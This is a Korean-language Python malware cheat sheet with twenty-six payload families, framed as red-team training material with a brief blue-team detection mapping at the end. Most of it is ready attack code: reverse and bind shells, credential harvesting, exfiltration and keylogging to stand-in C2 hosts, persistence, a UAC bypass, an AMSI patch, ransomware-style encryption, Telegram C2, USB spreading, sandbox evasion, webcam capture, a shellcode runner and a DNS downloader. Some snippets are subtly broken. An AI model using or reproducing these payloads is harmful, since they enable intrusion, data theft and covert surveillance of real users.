🐍 Python Malware Payload Cheat Sheet — 계열 A~Z

권한 있는 침투 테스트 / 레드팀 훈련용 참고 자료. 각 계열은 탐지 관점(EPP/EDR/EDR 텔레메트리) 학습을 전제로 작성.

A — Advanced Reverse Shell (고급 리버스 셸)

import socket, subprocess, os, ssl
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 443))
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
sec = ctx.wrap_socket(s)
os.dup2(sec.fileno(), 0); os.dup2(sec.fileno(), 1); os.dup2(sec.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

B — Bind Shell (바인드 셸)

import socket, subprocess
srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 9999)); srv.listen(1)
c, _ = srv.accept()
while True:
    cmd = c.recv(1024).decode()
    if not cmd: break
    c.send(subprocess.run(cmd, shell=True, capture_output=True).stdout or b"")

C — Credential Dumper (크리덴셜 수집)

# Chrome 저장 쿠키/패스워드 DB 위치 파악 (Windows)
import os, glob, shutil, base64
targets = glob.glob(os.path.expanduser(
  r"~\AppData\Local\Google\Chrome\User Data\*\Login Data"))
for t in targets:
    shutil.copy(t, os.environ["TEMP"])  # 복사 후 오프라인 SQLite 복호화
# Linux: ~/.ssh, ~/.gnupg, ~/.aws/credentials 수집

D — Data Exfiltration (데이터 유출)

import requests, os
files = [f for f in os.listdir(".") if f.endswith((".docx",".pdf",".xlsx"))]
for f in files:
    requests.post("http://c2.example.com/up", files={"f": open(f, "rb")})
# DNS 터널링 (소량 데이터)
import base64, socket
def dns_exfil(host, data, domain="exfil.attacker.com"):
    chunk = base64.b32encode(data.encode()).decode().lower()[:60]
    socket.gethostbyname(f"{chunk}.{domain}")

E — Encoder / Obfuscator (난독화)

import base64, marshal, zlib
payload = b"import os; os.system('id')"
enc = base64.b64encode(zlib.compress(marshal.dumps(compile(payload, "<s>", "exec"))))
exec(marshal.loads(zlib.decompress(base64.b64decode(enc))))  # 실행기
# 다층 난독화: base64 → zlib → marshal → XOR

F — Fileless Execution (파일리스)

# Linux memfd_create 기반 파일리스 실행
import ctypes, os
libc = ctypes.CDLL("libc.so.6", use_errno=True)
fd = libc.memfd_create(b"proc", 0)
os.write(fd, open("/tmp/shell.elf","rb").read())
os.execv(f"/proc/self/fd/{fd}", ["proc"])
# Windows: python -c "exec(requests.get('http://c2/p').text)" 를
# 레지스트리 Run 키 / WMI 이벤트 구독에 삽입

G — Global Keylogger (키로거)

from pynput import keyboard
import requests
log = ""
def on_press(k):
    global log
    log += k.char if hasattr(k, "char") else f"[{k}]"
    if len(log) > 128:
        requests.post("http://c2.example.com/k", data={"d": log}); log = ""
with keyboard.Listener(on_press=on_press) as l: l.join()

H — Hidden Persistence (은닉 지속성)

# Windows 레지스트리 Run 키
import winreg
k = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
    r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(k, "OneDriveSync", 0, winreg.REG_SZ, r"pythonw.exe C:\Temp\s.py")
# Linux cron + systemd user service
# crontab -l | echo "@reboot python3 ~/.cache/.upd.py" | crontab -

I — Information Gatherer (시스템 정보 수집)

import platform, socket, getpass, subprocess
info = {
  "host": socket.gethostname(), "user": getpass.getuser(),
  "os": platform.platform(), "ip": socket.gethostbyname(socket.gethostname()),
}
# 스크린샷
from PIL import ImageGrab
ImageGrab.grab().save("/tmp/s.png")

J — Jitter & Sleep C2 (비컨 지터)

import random, time, requests
while True:
    try:
        cmd = requests.get("http://c2.example.com/beacon", timeout=5).text
        if cmd: exec(cmd)
    except: pass
    time.sleep(30 + random.randint(-10, 10))  # jitter로 시그니처 탐지 회피

K — Kernel Module Loader 권한 상승 (LPE)

# Linux: SUID / sudo 오남용 탐색
import subprocess
r = subprocess.run(["find", "/", "-perm", "-4000", "-type", "f"],
                   capture_output=True, text=True)
print(r.stdout)
# GTFOBins에 대응하는 SUID 바이너리 → 셸 승격

L — Lateral Movement (횡적 이동)

import paramiko  # SSH 횡적 이동
c = paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect("10.0.0.5", username="svc", password="P@ss")
c.exec_command("curl -s http://c2/p | python3 -")  # 2단계 스테이저 드롭

M — Metasploit 스타일 스테이저

# msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -o st.py
import base64
# 생성된 페이로드는 2단계: 스테이저 → 다운로더 → 본체
import urllib.request, exec
exec(urllib.request.urlopen("http://10.10.10.10:8080/main").read())

N — Network Scanner (내부망 스캔)

import socket, concurrent.futures
def chk(ip, port):
    s = socket.socket(); s.settimeout(0.5)
    return port if s.connect_ex((ip, port)) == 0 else None
targets = [f"10.0.0.{i}" for i in range(1, 255)]
ports = [22, 80, 443, 445, 3389]
with concurrent.futures.ThreadPoolExecutor(100) as ex:
    for ip in targets:
        for r in {ex.submit(chk, ip, p) for p in ports}:
            if r.result(): print(ip, r.result())

O — Overlay/Polymorphic Loader (다형성 로더)

import os, random
def mutate(src):  # 더미 주석 삽입으로 해시 회피
    junk = "\n#%x" % random.getrandbits(32)
    return src.replace("\n", junk + "\n", random.randint(1,5))
open("mut.py", "w").write(mutate(open("pay.py").read()))

P — Privilege Escalation (Windows)

# UAC bypass — fodhelper.exe (HKCU 레지스트리 하이재킹)
import winreg
k = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
  r"Software\Classes\ms-settings\Shell\Open\command", 0, winreg.KEY_WRITE)
winreg.SetValueEx(k, "", 0, winreg.REG_SZ, "cmd.exe")
winreg.SetValueEx(k, "DelegateExecute", 0, winreg.REG_SZ, "")
subprocess.Popen(r"C:\Windows\System32\fodhelper.exe", creationflags=0x08000000)

Q — Quaratine Evasion / AV Bypass

# AMSI patch (x64)
import ctypes
buf = b"\xB8\x57\x00\x07\x80\xFF\xC0\xC3"  # mov eax,0x80070057; inc eax; ret — 패치 변형
ctypes.windll.kernel32.VirtualProtect.restype = ctypes.c_bool
# string splitting + charcode 조합으로 시그니처 분산
exec("".join(map(chr,[105,109,112,111,114,116,32,111,115])))

R — Ransomware-Sim (암호화 시뮬레이션)

# 훈련용: 지정 테스트 디렉터리만 대상
import os
from cryptography.fernet import Fernet
key = Fernet.generate_key(); f = Fernet(key)
for root, _, files in os.walk("/test/target"):
    for fn in files:
        p = os.path.join(root, fn)
        data = open(p, "rb").read()
        open(p + ".locked", "wb").write(f.encrypt(data)); os.remove(p)

S — Steganography Payload (스테가노그래피)

# LSB 이미지에 페이로드 은닉
from PIL import Image
img = Image.open("cover.png"); px = img.load()
data = open("pay.py","rb").read().hex()
for i, ch in enumerate(data):
    x, y = divmod(i, img.width)
    r, g, b = px[x, y][:3]
    px[x, y] = (r & ~3 | int(ch,16), g, b)
img.save("out.png")  # 다운로드 후 LSB 추출 → exec

T — Telegram C2 (소셜 플랫폼 C2)

import requests, time
BOT, CHAT = "BOT_TOKEN", "CHAT_ID"
def poll():
    off = 0
    while True:
        for u in requests.get(f"https://api.telegram.org/bot{BOT}/getUpdates?offset={off}").json()["result"]:
            off = u["update_id"] + 1
            msg = u["message"]["text"]
            if msg.startswith("/sh"):
                import subprocess
                requests.post(f"https://api.telegram.org/bot{BOT}/sendMessage",
                    data={"chat_id": CHAT, "text": subprocess.run(msg[4:], shell=True,
                          capture_output=True).stdout.decode(errors="ignore")[:4000]})
        time.sleep(3)

U — USB Propagation (USB 확산)

import os, shutil, glob
# 리무버블 드라이브 탐지 후 자가 복사
for drv in "DEFGHIJKLMNOPQRSTUVWXYZ":
    p = f"{drv}:/"
    if os.path.exists(p) and os.access(p, os.W_OK):
        shutil.copy(__file__, p + ".sys_update.py")
        # 바로가기/autorun 기반 트리거 (훈련 환경 한정)

V — VM/Sandbox Detection (샌드박스 회피)

import platform, os
def is_sandbox():
    if "VirtualBox" in platform.platform() or "VMware" in platform.platform(): return True
    if os.path.exists("/.dockerenv") or "microsoft" in platform.release().lower(): return True
    import psutil
    return any("wireshark" in p.name().lower() for p in psutil.process_iter())
if is_sandbox(): os._exit(0)  # 무해 종료로 동적 분석 회피

W — Webcam / Mic Capture (웹캠 캡처)

import cv2, requests
cam = cv2.VideoCapture(0)
ret, frame = cam.read()
if ret:
    cv2.imwrite("c.jpg", frame)
    requests.post("http://c2.example.com/cam", files={"img": open("c.jpg","rb")})
cam.release()

X — XOR Crypter (XOR 크립터)

import ctypes
key, shellcode = b"\x2a", b"\x90\xcc..."  # 인코딩된 셸코드
dec = bytes([b ^ key[0] for b in shellcode])
buf = ctypes.create_string_buffer(dec, len(dec))
ctypes.windll.kernel32.VirtualProtect.restype = ctypes.c_bool
ctypes.windll.kernel32.VirtualProtect(buf, len(dec), 0x40,
    ctypes.byref(ctypes.c_ulong()))
f = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(buf)); f()

Y — Yara Evasion / Malleable Payload (YARA 회피)

# 문자열 시그니처 분산 — 탐지 룰 우회 패턴
parts = ["import so", "cket,subp", "rocess\nsubp", "rocess.run('id')"]
exec("".join(parts))
# 런타임 문자열 재구성, UUID/환경변수에서 조각 복원도 동일 원리

Z — Zero-Drop Exfil via DNS TXT (암호화 채널)

# TXT 레코드 기반 다운로더 — 방화벽 아웃바운드 53 우회
import dns.resolver, base64
a = dns.resolver.resolve("payload.attacker.com", "TXT")
exec(base64.b64decode("".join([s.strings[0] for s in a])))

🛡️ 방어 관점 매핑 (Blue Team)

계열 A,B  → 이상한 outbound TLS/PTY, dup2 표준입출력 리다이렉션 감시
계열 C,D  → DLP, 브라우저 프로필 접근 차단, DNS 쿼리 길이/빈도 이상탐지
계열 E,O,X,Y → exec/eval/compile 호출 스택 감사, 정적+동적 하이브리드 분석
계열 F,H  → cron/systemd/Run 키 무결성 모니터링 (auditd, Sysmon EID 13)
계열 K,P  → SUID 변경 알림, UAC 레지스트리 hijack 이벤트
계열 Q,V  → AMSI 콘텐츠 검사, 가상환경 표식 노이즈 추가
계열 J,T  → 비컨 주기 분석(Jitter), SaaS API 아웃바운드 정책